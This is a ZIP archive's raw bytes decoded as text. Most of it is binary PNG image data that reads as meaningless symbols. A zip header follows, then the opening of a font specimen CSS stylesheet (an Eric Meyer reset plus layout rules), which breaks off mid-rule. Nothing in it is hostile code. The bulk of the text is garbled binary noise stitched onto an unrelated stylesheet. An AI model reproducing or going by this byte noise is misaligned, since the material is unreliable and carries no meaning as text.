?��@���2��ҫe	���%]�4�B�5\�X]�hv9y�#�)(w�r�<iv�=��:�IH	J�c��M��T��%B?y��r��$�<�B2�(�q��^�t� %]La/���JomI�d���\��Q��1O.����UV�:bl�ު"��k��كfoD|y�A�ե��"��7�,�^mg�2���0�(q6z�E�	G�/�eZeHOg�d2]���IJ�"�5� �Λ&��:�`������"���)&�x\��|�6�ȓxr��c�X�q�R")l�����3����vT
�ז�͊���Kͅ�i�qu���S�p�2���S9�EX��v–���W�2�����}%�$��T��\o42D~����/����:�r�06������h�܉�+zM���	9�9�8�aiE�`Y�%��3#c�+Z)�
����7����Si�z��s쌦l�x�lc>�,}(�mE�d��_���&��B�U�)�VY��h�"�ŧ�E�f����Z7Uy����`2���R�ag����\��9�Dv�� C��{���������#��z�z� �
ڬ�h��	��	5��QOڶIU�ɾ��ּa�Eŷ�6��{0\q��p��s�"o:BOc��lE�3mg��6URB,M���E?�x�T�"�w��gx�uh˜=�e����7V�
������M�'�N�<��
r�L��4�~s�㭽(Έ����<���y���?m��k�������"��抡�e�b��O8}P�D���\IP�oΛ8��)�
)J'�؃ኬ�4�e��[��|����S��ČA6��5$�Ԅ��J�~ÇUBr��k��*T���ҩm������A�M��}_�m�;F��#q�ϴ�g3Jy�lB˳�f ����߿�����������5Ȭa����3͞�Ѧ
&&<]�f�7s`�%	1NQ:Z�W��?���lݪ�m�1�d>Ł�g���1���/ȼ�"`��%�IX
G �Pe��(���Y�~,*�ti���K;z
~��vu��!������݀%���s�7i@q�]^�������?�����&ɵDu*앾,�%`x�L��$���"�ta��t���B#�O�b�	v�Wd������[��-�#��̧8���LC��_��]+�n��l���_����o�EP��0Y�(��GM��5��s&�~��=��n��D�]��~��i`;d��.V'�d���p��)@�7���x�f�瑓����0w!~�k�g6�H���H�R����4B��������lݪ�m�1�d>Ł�'f:b��|�چ�k��I�
��M�"�Pu��P�j�54@H;Vds�t~�e�w�E
�f��"e�l�}QY)%f��)�4Jb\[P���b�
+��^��	{��]������3��0Ҡ�!!&��`g�pE�Y���pr�n�Ӷ�S�Z2��@�31dt�~mCw͌����['zT�>L^)��iU
��MZT�L�l\��!!Qʔ�͖1R�>��R$�Y�SGV�$5���(����W������2��a���"��9�-4� )TL�S���q-�Tg^���]�vO�2N1bh�|�)O�t0Đ���
ݵ��FxN��e��ۉ^j	��v�:��.<a�F�]pz13�V��.%Y�T���a��6����,J�!��=4��~� k
2k/�;��9�q��6m01���BF���>Ej)��"e�{0\Q�̿�0K/���:m�8ň�%�)�<C
fd���|B��W(��zX4&
*�4
�Ŋ�4<�Lx[Ρ\�^�2��C�JZy4��J�	�’zgls��e�����P*�����`L{�	K�0ش�)���d��ü��i�ݱ�
��G6s��N�2߽�%�)�<1�A��U����Arhh����oUpJ3D�B�D�%�
ȳR#&�Z�5AQbɄ�䈤�%�{�{��5�K)}ru78S��Աʒ���P��B�^�� D$��������'M�r���O�Pr��?ft�
�+�:�E&��N�2߼�%�)�<A92��vQ��|���%��\t��Α�3G ��2�(B��zrPS�E�X8�l��-j�~��u���I���R��f8�d�Mixpf���]�M���.�~Q�CР�Ց������L]�X���;fb"o�ʯy4���&�(�$c�+�:�I�"ʞކi[�)F-�Oq �)I��3��ƍ�|#Fb�T�n�N߄��#0�^��_=�!�н�N6��W/i�G�wڪ��v)œ��6!a��2�M4asc�s�䤋�2�����t�n�Kg�&���-����ܐN��.�2$�uI��h|��)SR���]��N�M�Q��e�b�В��<%�\��j�價|%V/�x�b�N7��{P��:���t�~�MtǤ�����7�a���RF;k1�gyK�Wkb~�:�0()��#��zFN��$�,��1d�m"x�GԢ�^�ղ��(��>k���\�эU�t�v�`�J$ce���ɔ%)J�Ʊ�#�t��gzK�m�1�d>Ł��D�0��;�|*���L$ȋn���J���W��t�-����AЇhT7�z�\�D̅�͗�(��j�\�rjM������>$xWgY�_��E��Ƭ��=p���0�\kA��w`�t�(��K��KwF+ehSD�da�@���M������1�E�Ŗ����D�mb��ߏ���j�p�B'uJ�~�GD�IDAT6���E��e�b�В��<��8s�bo�����G��Ie���(��'%�fT8=$��(֌�կlBz`�J�m��:��oz�
i�X��\�RI1D�V��T[����˚��'JY6۴{{Z�mB�RTEW�(U_�6ϧ=��;/U��I-[����Wz�Yk>�����ՌSb�晵�Eնsh�-Ěn���٠�%��W��Ԙ�LJ��t��=����*/�zѦm�1�d>�0�)qa�Y�J�Tg,�l�l�⌅q��Wݜ*�e��P+P�� �,RK������W~�I%{Hk�f.N�q�˴���t�	�$NJ֤d�T[l
�@2���՗U�_ۋ��IX�h��pA��{����f�z�s�c��k�di�r^��ЇC�N�(m���w��D*��h�2�#"W5�8)Q:5�=���}�,.>��M�2N1bh�|��a�%�]�j����#����t�vO�QW�tl�a��N�5b��,�8sgA�D��A�m�����-����dG�c(�x��h�@)~��@�O���T=ZFI"+�C�a*�ڻa�s	�ޟ���%�&,�������Q�0-˵�J���\Rv��*mv�:���66�E]CZ7��`Hת�d�A�LKtm�\���)J'�؃�
�Nڳ�b��^[�)F-�Oq0�S����UP�L�r�:L']�"3����{Y��e
�:
N�4�
i���������ݼ��4����^��9"�)�O%/z��Y<��:h6�F	1����YQ�0��e
v<%]��!V3�TK�a-���\h��;���zԇ�k�SW�)]��ɣkaot$hC�8�t;�I��}���,�IQ:5�=����l)��M�2N1bh�|��a�a	J��9*e��UR㨌��uvk5:-��iX4Y��Ʀ�n�j�~�!g\T�)�Y+���Z���F9���B�_�P���8V�����)�:�?ým
�Ay_�I�;k�}�>C{�y�}�D���2�>�\��hu��g�B��I7�`�¡��[>�E��e�b�В��<
J�!����NY��O�wv%x�`hĆ˜a
U5J�L�_������B�d�+�=��\�X��<0�$/%+�b�bFJ�8M\-v�u��Ǚse���j�A^�30w�;H��ʹ�I/���+�&џ�Y˦d�i�&&ϒ���j�A��7�v���۽hӶ�S�Z2��`�G���qi�����.ӫl,�[���z�l�dk������q�/Ҿ��A(!���6�'V��}�̝��i�w�7=���5�
���F�����g\�~��y~N��㕂�����)�#��	���x�O���[��_Kp��V�w�|<���Qڣ_�p��F���|>��o�#���
\x����?\��?��l����?�Y���W�l�����	?\x��	�{�.��<��=�S��ǿ����[�����.�3	���������;}9���3�~��%����� �6�������)Oa/�A�>��g�#~w���7�w�׃��� >�������c�!��S�i��&�����C�|,��Of�	/&DN�:���e�{2ݏߗ�w��h��1׿Ż7|6��O��f��y�j�.�'�z�ׁ�|�����H���Fp?��?����\�"p��/�\�"p��/�\�"p��/�\�"p��/�\�"p��/�\�"p��/��o�����N~���3��ǸY
)<��"�����:5�.��"�^+ _���Y\���w��Oz}|���$7��S�����{�&���l7�/����B��P?GTo�'���g_��˸�U����n6�G���W4�R{�'	fԦ��.1_I��7/ߵ�?��f���(�,y��[$]�$bnf��r�����s�b�`L���_��/��,��|����V����V���+��e.�.8�8!����0��|�����\�tX.�.8��h�������L7��ᧃ��>�����O~H�.��g�I�‡}�����N0�
�jm��'.��G���_,�����N0f����.��G���#P��0�|28�X)_���U�a:S�?�f�q�+,������N0Fʷj�k����?���'����|28��������..�.����>���`�|�
G�Z���n>�{e�&K*~�W�����N0ȫ��J��v�v 5T�ڧ����/��Q?}�����A.��c�C
��{�WN?g�!�*AU�8-�xV��	�L��j`������V�^7{��*��N!S���W��|r� u-��_G��lY�x����7s��0z:�ޙ�f�V�����J2�:H�g�5�Y�r�
K�6��V<��Pr6Hϸ��hG��/�:b�:d/�PP���1&�4��M�u�Sց��ncˢ����>7�ӵS��ޕZf���k ��x�Z����H��/w}��X�P�����\���β0*��
^�hbC��8��΄8s�븜��ĸ��%����&�mEY��~��j̰p���ѻ`
5P�H� �_�]��J�<2�('�+�s	n�q�P'�g���r=NC�^)c)�u�S��a�ӵS��)\��+�6�d���b
s4[svc��1��3��� �p4��Ӆ��Y�~�N/wd?':Ψ�3!�+(d�6�!���	$�!:�A#td�Rb>�h<^���,?����� �Ķ�ʩOM�6v2<��f�R���昈C�0|�Wm]S�~��]ܐ�<��+�3�=];e����T��h%_-u6�]��=JW^�-9�iŖ�7HS�G]`҅n%����utt�ꧺj��(5��K�&��0$QuR��FjX"k�f""��᭬ ��z�5�e����F�Е�ޑ[B>(v��R�ah���u��N�Yo�'�?��y}��1=v�
I�I��iGW[��������������Wg�ų�VnOѣicU�X�Vre�ե���󗥍E�ZU��F3�%y�=c�t�k:�hRSI?fO��GM�e5�X���VU�9A��vA������Eb��4g�B˟�K�U	I�]úqi�7�B�e�c�`I!4��?'� i��;�܆�xZ�Ϋ-$����;�+��cg.�e����D��{��c�T4v�%)�֬&EjA��e�.����l��ge�,��
��u�����QM�ͪ=��=�by�̍Z��O.�7��[���
������F����35��,���}
�������A��e�1%%&JM)�Wm�lb1�W�-�F?�R*��M�4�$�}�d"�؀Z�s����E�Z�b�@~ :Y�W�6|�⮇'ߘu�ׯ?��/�<�vu��9$���Z����G�R�(�;2�S����m�UR�o�xV��~hg�[��X+�X��d2��)L;���뤐*�`����$ߩFʑy�ʮ3�l:r2%.~L�?���e:h���;7�(���Eb��T3ׄL�۷:��&����E���i2��.��OY�		>����]�^v���qBJ~�gN��*ڷ�i'���\3B�ן?�͡~nҔ��"�yd딄J�;3��Lﯼ�5:��6��Z9,=��u��u��\M厣�4ʾ���Ǻ�	Ш•x��R�z}��J�/�����UE�3�I(^��5S͘��U��D�a3w����L�a���?�R6o{�/�ZL��þС�ʢ�mj`�p&8u�Z���{�j#<es�m`
ݵ�ƅ�O��
6M��z.�P�7�-h�Z��1��,�Y<+keWJ-�u�Zc�Zɵ��V�|Ƌq֝q��`x����S�Ol�'�D�9�q\Z0ò���K<}Y�1��A̝�
b�D1Qjt��v��� �\�Fk�Ȕ�;�_ 2U����E�UO��=h�S��!�m?��h/�,eA����k��A�8�aE�����[R0=E��'�&����b����s�4�\�ų�VVW���Q7�k%W��e*�;3���qb��e�	�=���S׾��b�
̕Uf��婚��k*(F���e�E �l=/�}��.��SJ����Vo5У�2߻.�•P�����.3��v��˔q�9�"l�8���-A�T�?���I,��X�>k��
�ge�v&.�H�
��Z��R_�L}(&�C��̓eЈR�Wyl�ܙ���-Ok�cm|y��)ZAL�5�噧��I��O�Yaٖwi+���I���p�����n	Z��HFD��@�9W�6(��Գ��J����ٺB��U�._Yp�O��qw?"�E)lz�$u��,�����^��F�Z�4�t/���p�X,�t�Rh�9(oF��*tf9�&��S+bt��Ѿў`��(5z[�&C����OS6�=���F���*�|��˓���I�޹g���L3�P+d/�ʵJ::�`>�ڌ��Z���B���	Ѣ��s�Z2���\��
������J&
nPӣ4o�H��ݐ��rk4
x�q�*Ȓp,��� 
^�a	�C�OL��b�Д��X�:Nb�Cm'D����̝Ó�����Tuk����f�^?N?���}�`+t����W+iY4[M��r鼤����B=���2v����c2+ͰxV���&��6��9�J&I'3
R�>�Z�˽�j��^�Xk��>�_FX�%�vP�HL��bʸ�D�I�q�y�5X�ۙ�:Z�+������؀аԢ�`��|��������|���IW�9fgd�6A�o]F�|��	�H�,��~�խ/E�j�o��K���D�ܳT���L2��W���3@�Nvd�![k^MR{`�aS۠/p���hn,jv�z�Eb�Ԙ���5�w�
�	%�ƈ���a����L��#��	�t��`��D#(�����?!`�M$��GĴʔ�R��5ŋ���[_��ϛ���Ci�u-�i�A2���Í�Ҵ�c-%Y��ɾ/�aP�X��d(2#���-�m ��1Te��/bl]��юul!������C�,kH�B@��w8?��7_=������~��������I��D��3�W"Oܚ�Q�Rl�$3	���|b��l��Y��YY+k,�)a�j%�ZJ���}���a�%Y9�e�*�6������P=Bˏ�uMs�F�g�5Ԥ��&�e��c�~�z��F�`�U60�n�!���{�?�	@��Nܔt)�3%A�u�LPC��i0ˋU$�ú���Xgk�ܖ�Y��YY+klF��Zɱ�����d��cctIV�"EY�=�#mX.@��ֆ���~��(5f����Hiu���z�6!�"�Z��2-VB�
�Im�v)]�?�8~�?r
�6�sʁ
�o����`��H@�u1�"�;��֡��̺���ZY#�+G?9Zɱ�����dS���0蒬E��$fr�ڰ\�:�

)WF�Ԩ�_$&J��h��H�em�N�x���f|�/�Jb�tA/&zن�H�
�B�7MI!fX��4��A�4��;Q$ ��FW�|���0p|Cu-����F��dؙ�U+9�R�58��H�`l�.��Q�(KV��A�%'$�;�@�C��[�4�c4�GVB$�ۨQ�Q�:�
mh��lԄ�zu���\4A#F�s�`j�U��/R2��33Fk�M[���,󦬚�q���E�xV��/�I���i�J��t�Bj��ccT-ύ&C�Y<�dh�n��c�X�0芙�53�2Z9��e=��H��Թ\hA�&h���9S�;�x1���@���xHӛë� FZf����4@S��S%qT^]D�ge�����8�1S�Vr���ZP�?à��6 ��5�Ό�D��Ԩ�@_�co��?�Z�~�%3���6=L�!�& j����Nș��9�GOJt�
ڒ(�ЋY`C=0t�j%m!���ͥ���z5�Qt롕GEbv�,k�fW��YY+k�e��Nԩ�ki�sN�{�`l��Z�ƒ*>�2H�v��W�[2��ڂ�k�=$��hj�p��r�
3H�$�Y:?v3<��6���pt8�8c�&b���i�ó�a�)��k����r���Z{�ѩ�,i�FW��YY+k2S36\m�J���d
'�?��e��a�s�h؈����,	���6\�4�U���/|$wh)Ƙdk���Rӈ��A꽄�>� �J�C�EHA�r_mg��zC�^��D��X�ze�Pȝ�* r&as4�,3S�V�F��h񬬕5ʙ�#���c-%Y����Ɔ&hY���26Y�,�b��l��;� 
��P�қ�86pV��I�Zԣ_�qB�5��݊2��H��33��Ԍ7Nn�0[}�qw���8'7��ʉ�g(c���z�Gf���8g-�RidT/u-�����qf拵b��XKI��p��񃱡
J�z�I�rQ|L6"ehˣ떴��
c�Q�z��I
�a�H��{I�'g��< a����� ��IO��
('A%O+.�:Q���:Vz F�.SbhѪn�М3+W��K:�0R��ƣT�wR�h��΄���C+9�R�58��{�`l�gc�DX㵵g�L0�X`y�1�7��VuQ�P�}�����a�$���$!���Eͷ��(V�^���Bu��r��0
uaZ$��@UF�A�,e��D��"Ze,-�	n��4M����-�����Ίڰ�U;9�_Zx"E�xV����p��uk%�ZJ���}��
mвng�Pm�Z^��]��˰�a�
$���18=�FR5Ǽ���T-���p�ˆ��I����#�]�_cXC�!���4M��Ң>�Wh�/�4c8s�_eK~�g�U֟
UU܉��{()�ӷ8�́�ʣ�)&�l��7��;�����Q���]D�ge���?;��i%�ZJ������
}в�@ՠU����[^�dF�YņgO��V�@Y1T�dS�9Jqd�l9!�� '.e$R�X����%�}E��IPY+u~ҝ**r�B�0A
�Y���o��+f��:�mx�Y�%;�(!N���3F<���9"�ޝ�@�I�r�����~��b�[�.�ų�V�h���6�K+9�R�58�\q�`lX��l����BSMI}��J\2�b��;=�	UMr��.d.�p���|Qk��ݩO�Θ�����3i4������4Ar�!�_�w���H�yt���.���2���'>ǔ���y���ڱ�ک�K��p���ؙ���,��p����y�Pӎ]�0���`kV�VY�2�~��E�xV�����vi%�ZJ���}��
[P�5cÛ�Bw0��s�E�.�N���F�=�;ď��-��n�%]KQ*�*�uLMb�xFw%H���_���E�C*m��:օ��),i��{�\y�`����!���)y��m-�0=���u{�٠HnN5r�TOf;��k�:+A;)V�"%�
~�E�xV��]��鉐k)�N�=~06�Aˎ��z�P�����di�Ǵ���
�N�*G�S�-�)I���K�F�I߸UVM��_Y�&���9b��KR�}�@��=J�]�>aT�-	0�;��
y�`���yM��.uN��Og�'�M�|��f��k'Ņ�^k
�;����ZY��nqw�Vr��$kp8����p��qb:�E&�6/Ĥ�����xa��̖s�p��FU�S�d�F����e�o�b����
&��UÖ	��4fML�o��N�����l�|W;�Z����fw$K%�9`��L���a�X_΄�t-����ƙZ��MI;$kp8������113W��BB\$�3qM.�H�wL���Y��>��h�T0�!F_s{���-��Q+�?QgL��'OER>���LW�N��U�Q%S��-�b�>���0Mn�α�#Ln�����e��W8�w�.�ų�V�8Y��*��XKI��p���1��h�WyI��8&п��
�%�,�
cWc�(���\1��:��Z��U�	�UlZ���y`B���j��W��Pİ�-��g\2}C��ĕ%�h�D�#mD?}x���Tz7�HG)�b���⡞@�Ot-�����Z�U��XKI��p����7�b���Pe�i
��G�jK�
��EZ�u�S�e4-hQ��R0�-�QeD@cBRk g���0���e�g�/"k)O�e-
�}����%p#�[����p���r׿	\����@�p��D�������/θ�[���~�~����'�S�J��[���|��+
���sI\����B�f�
�O�<�>���#��.%��	��O����
.����~��3y��n����\x
�����7�@A9G�v:���<�>�D��xW��`�v�9:����/��Xp�F��[���e���,p����h�#���A�,�Mp�y��~!?���V.��p�d���p�}�݄%AcѾ��	��Ī߳�|p�
{y[g��"����
���v����ٯe�Q�{�M�O<T����]��X.�h��x��{c?���7��
s ��'���.���7���]��4�?	P���	.a�������W������_.|��E���_.|��E���_.|��E���_.|��E���_.|��E���_.|��E���_.|��E���_.|��E������_��O�c����ϯ�l�ǚ@[���Ο�"K��l��yK�l��8�{����_~�נދ��y�`���
a�M�^��m�p���]
bՎ�����]Zw��2�&\�
\���p��A�K��b����hȦ7��Vp��=�ʷ4��Z�?M�=�a9o�;�\a��<��hP�w�[����[^�e/�cG=��R;.vp����74��?����Y~��%xD�6�sԾ�-���(���M�p�p��A���O}U{�K�C�F�l�\��=��ߠ�羨��h�7�e�p�p~|����<����Z�l�\��=�� V�~K{�K�CxK�>
��-�+������GO ./p�x#[.W0n�7���_�����R;.��od��
����}���%�!��v\�Ȗ������
��|�K�CxK�>
��-�+�����Eo�_TꅷԎ��2p��q{8?�A_�V�E�^xK�>
��-�+�����o��k��/�_���Ԏ��2�|`�U5��\�&��Ԟ0k/hMZ�<�U��%��w4i��'���;�R��:Ų,k�[ڼ���O�����a8�s�3��wkcB߮�w���U=bS�%V���.��0:O3=�q3�}�sL�X{�&ɂ�<*gz�I7br���:�x�Qwh+��c��q
�y��v
,�A7�R�U��*���ZR�O�Kٕm>�N̘�E����.a���]��
�<��һM���1G���U𜋇Jq"*�c�W��`rz��wY��>�jVww��h��Ɏvը�g��.�f�i��ތ�����'K��[�'�M̲k�̛F����-�euz��pl�301��N��Yqn�N浍�;�r�2C�LT�p_荴�vv�6�=���.bz�s�4�N7|�#"�:�^º߰���Q���ɪ�9��s�#�Y�������	�8��ل*��5tG%?�!�t�̼I�]�գQ �C����U�`�>`|p ut��ζ��|�L8'Z�"Ji��1�mK�<�;>��
��b�"� f�9g�]��D�T6,Ԕ�|���S{��V���nr�@��5ޣJ�� 5K�8z1+�[;ۨ_�XE:1T�(�1Ǯ3o�ծ��"+���]���K�;!swz
*�ī�ŠG�����Y�"Zi��7H;�3�(tv� �&iI�AV��;�J���|X%��9�F]����l�w��*Y�ypRc`#7���tT�K�(�R��7�f��r��1�v�Yj_��T�uFX,O)�M�ڵ\���d��em���@O�44�=��B�WO
:w8͎
I��1w��T���abk��u/|�p�	mY��h�����'}��BT5�ކ���K���D]w0b����ϟ���Ykn�\����f�:j�Z�E��_����jC_bW�ѥ�����k�e�^s�
w6V��r[�#��6���Ve��5`�M�6_K�og{u�.:Y���׽���"g�}��qttv8���
��Fi����l\�{1���rg<�7ߌSb0�:�4⹣+����Ԍ��-�<I;:�f� ��m���77�mh��Gw�>�3�^�����F�����W�w`�j���ΉS�
��1C��s�\q*P�f�܍j�o�U�z���e1�m�
0o�k�qu�4"l�ng���֔��
�A�\>���r&d�4�W6����\���W[w��׿�f��e����w	�����Z��mo7k܀g�Tg{X�iI^n\�&��6�cRΟ���e��ϛ�˗V]䆴$ʄV�Q{q}�­�h�z�CK�k]A�l�?�l��-�s���K���3ӛ�:]f��h3�q`��٢��t��Mm�7�Ҟ�.џ�1�h���s��KG�F����r뎍U��O����A&Fȫ��X2���#��bE�vΒ�񘰨j���mb���XeU��wr�Q���//�V�:U/v��nD��zoiG����];w�V��S��#E����r�I"@إX�̼���W���0Ot�z��Ψ�s��~6�bn�{����%�1�2����m[t_�\u���X;��DcT7�H'/RC=MA��/.�V�E�@���m����'�$c
���N��<~,).^F���o���t-�|Q?w�N#h��^Vܨ*�����S7D���J1o�F��L��w,�.F�G1��CWW���Y�F�p�L�k�D�����l���l�\t�S\L��:
/��A���	u��d��E��{?�c
��q���}�gyՠ�y�.��ޥU;�7<�4x�۸~۝����WYU�񥡎F
��-h����Y{{�L��&�&u����o��3�ѣ�5`'.Em�ڼ����<������…8�t��\���Z3j�k�]�Nf��h�4˚Yr�����e�d&�5T3��������Q�j�;W��*�*�塲��>���R�UB��N.U(�����dX}՘�`a�~0U��7�
���yF*���Y��b�Xkq��k�KNM�N���-�/F�*Sú�u*]��gb���{WH�YV��̀��yS�掹�jd"�5B�zXP���ܴ��><�"[�DYmf�[[Z�|�HY�[�K��a	�8�|Ėu�V������vh�7�
�6_~zXH]��G�秎���2R�ҫ���<���L�I�LӜFOW��{RME��q�gy�w�8ɲ,n��E�xK�N].������y��gH��i��:֟�J�(a�q��6w���Q����|��0OY��vʒ���5�̥�
��7�

U�Y�0�E��zߢ*���Le�ZW���4�~���9ߥ�w�4>�˧�h�'��!���
̀8e�V쩁�m{��x������^6�tm��������qg��E���Qz��,6��S��5�(�
�MtC]x�ˆV��hr-+ZTWT+�<���������u�:uG�Qi2��y<�.�MsX���a:��8]�g�W
��LIl����߿�s��?�����??������>s���A��ٰ��I�»�]���Qwg�ѷ�dIͳNK�-7��H,��IfYI�	�Mt�M�1�P� p9qR
��.I����F�	w`�i}C��6F���.;b������SwLX�$gzg
�'~��G�v�^�����������lB�p���v���;�̨�dT�u�"�I�6�a.,?}l@�
x3W	��y�r˼����y�4'V+6Xa�j7����T%x��T��qزr�ޥRj��-py���Z�Κo�W���[o���s�.��߿�:�,���,��;��~zb,w��$�}����`��Ԡ���Kk�J���ݭb*��([�W˧�7]�\��F��:&�ݐ♅g�����br�-�S%?B���u�T'�qsX�+,�E��k�*}}�Ǒ�`hc��Uq�0���n�l��I�un�#=��?l�G�Z���ms���΄��!��.U�M�(��`��1�fxnH���3�\�*5}��a~�JS5�x�a{�K��\�ϫ�"n�
UC:�б����ڟ2�p��`���q�}Zu���%�]�PSⷉ�M��hfo627��l�J�I��Q�*�&��fչVw��t��uC�g���b+o|���`k���RL$�I��
��ûE�r0S�U(/�ھ_��K�p��g�S�ju˭I����PI�f^t��Į�`@5��j�/�ػGF=7	3:�Re��60�&ǩe:�H�!�3��s��7���A&�*��"���;��]T�@�"x/;Uo��Q$O��u�ju
uO�zѸ)�=�ާ������	�9Tt��w��z6nftԥʼ�m�Xf���2�1�XsC�g�Q�z�cג��
O��R%x�>�P�Mk�yj!H�"xY�����K�{����+�;o����1tbW`0������CE��l��W�ٸi����T�71Q���`M����F�
)�YxF��}�]KfVέ_RJ�L�C�6�Mxk5LO�"ب�6v��U�w��.,�&5�쁏�E��N�
T��=X{D�1��Vw�Y6:�Re�T�bt�qj��5�sC�g���+��Xd�,<�W�F�e7��_H���K���.3���ދ��N�}�EO�M�~f�04��O���F/)��%��D�@�_n�������u�1:�Re���tl��5Vؚٹ!�3��s��w>�,v��OTi)&ϓ�m��^�y�������{��R1lw]n��cv�}�V��7zɘi����7>�g���$�<��0�7͐�Q�*�(� ���p1Ak��
)�YxF��NU�x0�l�*�Ϟw}�z���x�	�(,2�����c���h���ż�r��x���m^r��dp�F�8xwC��ʹ9,��Q^���K�yS_uv����	¸!�3��s��f2���T�}����<e^&�>+C�
�px�ʀ��9�L�(�j�m�G<�t��q�=xb!-��>}5Z��T�u�="����;΁ޟA"�x�(��.U�M���_;!�����b��9A7�xf�C�;e�@�f�i�Xw�9z��z��I]sx����U�KXe��'�w
�0��nq�]�0�=��g�~��]
�qSK���>�+��0��IXeD�f���udtԥʼi(�E<�w��G7Lƚ��!�3�r��fLz�ug�bQ�%ޢ����5�)���h��^e�}#�3M��N�v�}�����R��s���Ze����*,�c�<B�Y�jk��ںNT9�)�� ��.U�MQ,�d�X�t�����nH���3�\ox�U{8�׹]w�&�֒�2n8����X�*n;Hu�'j�iV�}��u�s�z�T�s��Cס�:Jh\���[���C��C]
��b^t��
�����Q�*�&������E�b�E�̋R<��)W5�h愬��
ܨ��T����q}��0S�2xK�Mh5i�5p��P�%'w^jV?�/4η�ݬu,������c�=���(R�<w�PSC�^';�a�樔3E���K�y�A�}��I7\,y�<fnH���3�\�>�꣭���n�;�;v���X�;p��Z��7Z��>��&�z�j����E�z�X���]]��8�޹R��ٵQ�=j>��w���
�z�0$���M��Y7�FG]�̛l�X��]��a�9d\.ܐ♅g����R]5y�T՞ĺ�R����<p�\h�Rf�Xg@՗�j�d
<d-Z�����ōUG�:���wiU�qo��2�k�P�ct�Kw�U���lh*6\hk��Zֈ�������.U�MFQ�3`�C��>�7�xf�s.�ac�>��V�Y$�Χ=�uyk�]�.+n�C�ȳ�?��"gW��h�~��<*�̏�(���ƣ!~�ڦh�g
��[�U�e8.fN�c?xCG��h��u*q�s�*5�˫>;Z�,��%90:�Re�dup}\���e��)�!�3�8r�-;���B���Ͽlj�e^��W�]��~�˭17:��D���Y�-<C=Vq��:�/�G&���Z��\��5�Ç�/�P�u4Z#rB��a���ѷ�U��eC֪��	�]�q�%�h��C�^[��VZ1:�Re��m3Kt`0��M���[2�w�xf�O���Ty�3}t�w�U�
<�
lѧHT�k+t�2���\:9F;���-�@L��`%�-�9m|��1p�ז��i�0u��K'#���О��#܈8
���u�CǥAZV��h�vG��f�(ў�L_{�Ä]���6���T�7EQ���`;u�Xa�k�!�3�8s�m'Ǩ����WG�3��ֳ0B^��5#X�5Ɇ�!
ڹ��(���Q�l�*�?���m}u��L��=������k_��=a��
��Z�cщ�a�n���;:zFk5HI۩���ݽܠ"��
菍�ЉVZ0:�Re�dUq;U�M���k�R<��;ۘ�P�~�M<g���҉ߖ魻�_^C]��\&n�2��s�����3څf��$�`[�Md!w[ybU�w]6:��4����4Sڭ�y�4�L�D�̈́_ޫ/1�8���i骴��o�d/�B�(+����;�J5FG]�̛����ülhuYY�5�xC�g���u�c���\<�T6w���nX�v7J��5,�L��sd�F;�'�ε=
#���ڭ^�m�[E�"�h"��7��R�/�C�B�?��x�C�|�U�\��Q��!�"Y��:�#	R<���i�Q9��K�"h4dF5	L�n���.U�MFQm��FN��벲����
)�Yxf2��f��9�4&�F*eUџ�b
i/��kM��
=6�.�4�)��,�d��K���ɯ%M�������x�T�r�4΋�
�6/'Ѐ���)H�=p��r'���>ǒ�WfD+u�2o2��re![���
����,<����[5�r�/4���� V������!y��q�;K	�0[���I��4��W����0�u��c���{��
g��٣h����Y��
��닽a��1:�Re�d%’���G�.+��foH���3A�.s0Aԓ�YM��}	{V�ϼZ���D��A�l�,����xU����?��bn�z5�vj�ѵjvLg����PUs
�k�5Hˤ�_ATт�Y�ɷ	�me��.U�M�m���%���ee����R<��Ld�ٯ��j�V���-�׵Pg
�)�n��I^�v�1�.Ǧ�P��eM�6��./�����4ΛZe?#w����RI��4�%g����G[�JY�#��i��,i���.U�MFQ
�G��-�ee����R<��̂\,���*i�Q�/�H�.��Y�y�$�{Hv��ƺ.)���O�����1���@A~0�� ��j��OB>NO騬�����i��)F����J��Q >y�D	z�Y�F�toE�yY�A��s�O�>����^�q���r�k�s�C�;2_��'x��k�s�Fu��a\8�[nX�.�@��{��p�o�]`
x�"��k��p�o�]`
x�ba����%�'x��k�s����?��;�j��ր� �/|fw|���o�]`
x��a����G�>�o��o�]`
x����+���[nX�.�h��P�� ��w���.�<\����[�t�����?�z��ր�?������G�����~���-���~:���o�[��B\�h��L�|=x��k�s��S]����}�\�_���-���~>�Uv�Ώ����������.�<\���مo��eZ����^�-������mv��j����t���P�[nX�.|������֟�?�Ӿ��G�_�
��~}C��1�Lp�kh\"�ӛ�;�����7��,�?h^(����_F�p2����~������o�O������w�������of��yt��.�=o��ǁ����A��>�'�_.|��E���_.|��E������������IEND�B`�PK!;�If��Bbluetheme/assets/fonts/Nexa/specimen_files/specimen_stylesheet.cssnu&1i�@import url('grid_12-825-55-15.css');

/*  
	CSS Reset by Eric Meyer - Released under Public Domain
    http://meyerweb.com/eric/tools/css/reset/
*/
html, body, div, span, applet, object, iframe,
h1, h2, h3, h4, h5, h6, p, blockquote, pre,
a, abbr, acronym, address, big, cite, code,
del, dfn, em, font, img, ins, kbd, q, s, samp,
small, strike, strong, sub, sup, tt, var,
b, u, i, center, dl, dt, dd, ol, ul, li,
fieldset, form, label, legend, table, 
caption, tbody, tfoot, thead, tr, th, td 
                  {margin: 0;padding: 0;border: 0;outline: 0;
                  font-size: 100%;vertical-align: baseline;
                  background: transparent;}
body              {line-height: 1;}
ol, ul            {list-style: none;}
blockquote, q     {quotes: none;}
blockquote:before, blockquote:after,
q:before, q:after {content: '';	content: none;}
:focus            {outline: 0;}
ins               {text-decoration: none;}
del               {text-decoration: line-through;}
table             {border-collapse: collapse;border-spacing: 0;}




body {
	color: #000;
	background-color: #dcdcdc;
}

a {
	text-decoration: none;
	color: #1883ba;
}

h1{
	font-size: 32px;
	font-weight: normal;
	font-style: normal;
	margin-bottom: 18px;
}

h2{
	font-size: 18px;
}

#container {
	width: 865px;
	margin: 0px auto;
}


#header {
	padding: 20px;
	font-size: 36px;
	background-color: #000;
	color: #fff;
}

#header span {
	color: #666;
}
#main_content {
	background-color: #fff;
	padding: 60px 20px 20px;
}


#footer p {
	margin: 0;
	padding-top: 10px;
	padding-bottom: 50px;
	color: #333;
	font: 10px Arial, sans-serif;
}

.tabs {
	width: 100%;
	height: 31px;
	background-color: #444;
}
.tabs li {
	float:  left;
	margin: 0;
	overflow: hidden;
	background-color: #444;
}
.tabs li a {
	display: block;
	color: #fff;
	text-decoration: none;
	font: bold 11px/11px 'Arial';
	text-transform: uppercase;
	padding: 10px 15px;
	border-right: 1px solid #fff;
}

.tabs li a:hover {
		background-color: #00b3ff;

}

.tabs li.active a {
	color:  #000;
	background-color: #fff;
}



div.huge {
	
	font-size: 300px;
	line-height: 1em;
